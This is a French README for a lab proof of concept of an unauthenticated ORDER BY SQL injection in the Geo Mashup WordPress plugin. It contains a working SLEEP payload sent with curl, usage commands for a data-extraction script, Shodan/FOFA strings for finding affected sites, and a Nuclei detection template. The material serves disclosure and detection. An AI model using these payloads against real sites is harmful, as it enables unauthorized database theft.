CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Preuve de concept d'injection SQL non authentifiée

Des attaquants non authentifiés peuvent injecter du SQL arbitraire dans la clause ORDER BY via le paramètre sort du point de terminaison render-map de Geo Mashup, permettant l'extraction aveugle basée sur le temps d'informations sensibles de la base de données.

Table des matières

• Présentation de la vulnérabilité
• Environnement de test
• Comment exécuter
• Résultats des tests
• Mesures d'atténuation
• Détection
• Chronologie
• Références

Présentation de la vulnérabilité

Détail technique

Le paramètre sort accepté par le point de terminaison render-map est passé directement dans un appel $wpdb->get_results() sans assainissement :

// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Comme $sort est interpolé tel quel, un attaquant peut injecter une sous-requête dans la clause ORDER BY. Le wpdb de WordPress échappe les guillemets simples, donc le PoC utilise ORD(SUBSTRING(...)) avec des comparaisons numériques pour contourner cette restriction et effectuer une extraction aveugle basée sur le temps.

Point de terminaison vulnérable :

GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Environnement de test

Architecture du laboratoire

┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 actif dans l'admin WordPress :

Comment exécuter

1. Démarrer le laboratoire

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh va :

• Démarrer les conteneurs WordPress 6.8.2 + MariaDB 11.4
• Installer et activer Geo Mashup 1.13.18 (version vulnérable) via WP-CLI
• Créer un article avec géolocalisation afin que le point de terminaison de la carte renvoie une réponse valide

Une fois terminé :

• Site : http://localhost:8080
• Admin : http://localhost:8080/wp-admin (utilisateur : admin / mot de passe : admin)

2. Confirmer la vulnérabilité (injection SLEEP)

time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Un délai de réponse d'environ 8 secondes confirme l'injection SQL dans ORDER BY.

3. Extraire les données (PoC)

# Default — print extracted results only
python3 poc.py --url http://localhost:8080

# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose

# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only

4. Exécuter le modèle de détection Nuclei

nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Arrêter le laboratoire

docker compose down -v

Résultats des tests

Vrai positif (TP) — Cible vulnérable

TP-1 : Injection ORDER BY SLEEP(8) confirmée

L'injection d'une sous-requête SLEEP(8) via le paramètre sort produit un délai de réponse d'environ 8 secondes.

time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

TP-2 : Extraction des données (mode verbeux)

Le PoC extrait les données caractère par caractère à l'aide de comparaisons ORD(SUBSTRING(...)) : envoyer la charge utile → mesurer le temps de réponse → confirmer le caractère lorsque SLEEP se déclenche.

python3 poc.py --url http://localhost:8080 --verbose

Données extraites :

TP-3 : Détection par le modèle Nuclei

[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

Faux positif (FP) — Cible non vulnérable

Le modèle Nuclei utilise un flux en deux étapes pour éviter les faux positifs.

FP-1 : Geo Mashup non installé

Si readme.txt renvoie une 404 à l'étape 1, l'analyse se termine immédiatement sans envoyer la charge utile SQL.

Scan completed in 62ms. 0 matches found.   ✅

FP-2 : Version corrigée (≥ 1.13.19)

Vérification de la version du plugin via readme.txt :

Si compare_versions(version, '<= 1.13.18') échoue, l'étape 2 est entièrement ignorée.

Scan completed in 19ms. 0 matches found.   ✅

Mesures d'atténuation

Commit de correctif : plugins.trac.wordpress.org/changeset/3503627

Détection

Modèle Nuclei : nuclei/CVE-2026-4060.yaml

Flux de détection :

Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA :

Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Chronologie

Références

• NVD — CVE-2026-4060
• Avis Wordfence
• Correctif du plugin (changeset)
• CWE-89

Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
L'auteur n'est pas responsable de toute utilisation abusive de ce contenu.